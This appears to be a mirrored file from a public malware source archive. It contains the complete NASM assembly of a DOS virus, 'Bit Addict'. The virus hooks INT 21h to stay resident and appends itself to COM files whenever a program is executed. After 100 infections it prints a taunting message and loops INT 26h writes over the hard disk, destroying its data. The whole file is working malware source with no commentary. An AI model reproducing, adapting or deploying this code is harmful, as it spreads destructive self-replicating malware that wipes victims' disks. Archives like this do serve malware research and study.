mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
224 lines
2.9 KiB
NASM
224 lines
2.9 KiB
NASM
|
code segment
|
|||
|
org 0
|
|||
|
|
|||
|
call Virus
|
|||
|
|
|||
|
Displacement equ $
|
|||
|
|
|||
|
SavedCode db 0cdh,020h,11 dup (090h)
|
|||
|
|
|||
|
OldInt21 dd 0
|
|||
|
Count db 0
|
|||
|
|
|||
|
Jump db 0e9h
|
|||
|
NearOfset dw 0
|
|||
|
ID db 'Bit Addict says: ',13,10
|
|||
|
db '"You have a good taste for hard disks, it was delicious!"'
|
|||
|
db '$'
|
|||
|
|
|||
|
NewInt21:
|
|||
|
cmp ax,0ffffh
|
|||
|
jne Ok
|
|||
|
cmp dx,ax
|
|||
|
jne Ok
|
|||
|
mov ax,cs
|
|||
|
iret
|
|||
|
Ok: cmp ah,4bh
|
|||
|
je Exec
|
|||
|
jmp EOI
|
|||
|
|
|||
|
Exec: cmp cs:Count,100
|
|||
|
jb Infect
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah,9
|
|||
|
lea dx,ID
|
|||
|
int 21h
|
|||
|
|
|||
|
xor dx,dx
|
|||
|
cli
|
|||
|
Repeat: push dx
|
|||
|
mov ax,2
|
|||
|
xor bx,bx
|
|||
|
mov cx,100
|
|||
|
int 26h
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
add dx,100
|
|||
|
jmp short Repeat
|
|||
|
|
|||
|
Infect: push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push dx
|
|||
|
mov ax,04300h
|
|||
|
int 21h
|
|||
|
push cx
|
|||
|
mov ax,04301h
|
|||
|
xor cx,cx
|
|||
|
int 21h
|
|||
|
mov ax,03d02h
|
|||
|
int 21h
|
|||
|
jnc OpenOk
|
|||
|
jmp Error
|
|||
|
OpenOk: mov bx,ax
|
|||
|
mov ax,05700h
|
|||
|
int 21h
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov ah,3fh
|
|||
|
mov cx,13
|
|||
|
lea dx,SavedCode
|
|||
|
int 21h
|
|||
|
jc Close2
|
|||
|
lea si,ID
|
|||
|
lea di,SavedCode[3]
|
|||
|
mov cx,10
|
|||
|
cld
|
|||
|
repe cmpsb
|
|||
|
je Counter
|
|||
|
cmp word ptr SavedCode,5a4dh
|
|||
|
je Close2
|
|||
|
mov ax,04202h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
jc Close
|
|||
|
or dx,dx
|
|||
|
jne Close
|
|||
|
sub ax,3
|
|||
|
jb Close
|
|||
|
mov NearOfset,ax
|
|||
|
mov Count,0
|
|||
|
mov ah,40h
|
|||
|
mov cx,CodeSize
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
jc Close
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
jc Close
|
|||
|
mov ah,40h
|
|||
|
mov cx,13
|
|||
|
lea dx,Jump
|
|||
|
int 21h
|
|||
|
Close2: jmp short Close
|
|||
|
Counter:mov dx,word ptr SavedCode[1]
|
|||
|
add dx,offset Count+3
|
|||
|
xor cx,cx
|
|||
|
mov ax,4200h
|
|||
|
int 21h
|
|||
|
jc Close
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
mov ah,3fh
|
|||
|
mov cx,1
|
|||
|
lea dx,Count
|
|||
|
int 21h
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
jc Close
|
|||
|
inc Count
|
|||
|
mov ax,4200h
|
|||
|
int 21h
|
|||
|
jc Close
|
|||
|
mov ah,40h
|
|||
|
mov cx,1
|
|||
|
lea dx,Count
|
|||
|
int 21h
|
|||
|
Close: pop dx
|
|||
|
pop cx
|
|||
|
mov ax,05701h
|
|||
|
int 21h
|
|||
|
mov ax,03e00h
|
|||
|
int 21h
|
|||
|
Error: pop cx
|
|||
|
pop dx
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
mov ax,04301h
|
|||
|
int 21h
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
EOI: jmp cs:OldInt21
|
|||
|
|
|||
|
Virus: mov ax,0ffffh
|
|||
|
mov dx,ax
|
|||
|
int 21h
|
|||
|
pop bx
|
|||
|
sub bx,Displacement
|
|||
|
mov ds,ax
|
|||
|
xor si,si
|
|||
|
mov di,bx
|
|||
|
mov cx,CodeSize
|
|||
|
rep cmpsb
|
|||
|
je Exit
|
|||
|
push bx
|
|||
|
mov ah,52h
|
|||
|
int 21h
|
|||
|
push es
|
|||
|
push bx
|
|||
|
mov ah,30h
|
|||
|
int 21h
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
pop bx
|
|||
|
cmp al,2
|
|||
|
jb Exit
|
|||
|
cmp al,3
|
|||
|
adc si,12h
|
|||
|
les di,[si]
|
|||
|
push es
|
|||
|
push di
|
|||
|
les di,es:[di]
|
|||
|
mov [si],di
|
|||
|
mov [si+2],es
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
add ax,0fh
|
|||
|
mov cl,4
|
|||
|
shr ax,cl
|
|||
|
add ax,dx
|
|||
|
mov es,ax
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,bx
|
|||
|
xor di,di
|
|||
|
mov cx,CodeSize
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,[84h]
|
|||
|
mov es:word ptr OldInt21[0],ax
|
|||
|
mov ax,[86h]
|
|||
|
mov es:word ptr OldInt21[2],ax
|
|||
|
mov word ptr [84h],NewInt21
|
|||
|
mov word ptr [86h],es
|
|||
|
Exit: push cs
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
lea si,SavedCode[bx]
|
|||
|
mov di,0100h
|
|||
|
push di
|
|||
|
mov cx,13
|
|||
|
rep movsb
|
|||
|
ret
|
|||
|
|
|||
|
CodeSize equ $
|
|||
|
|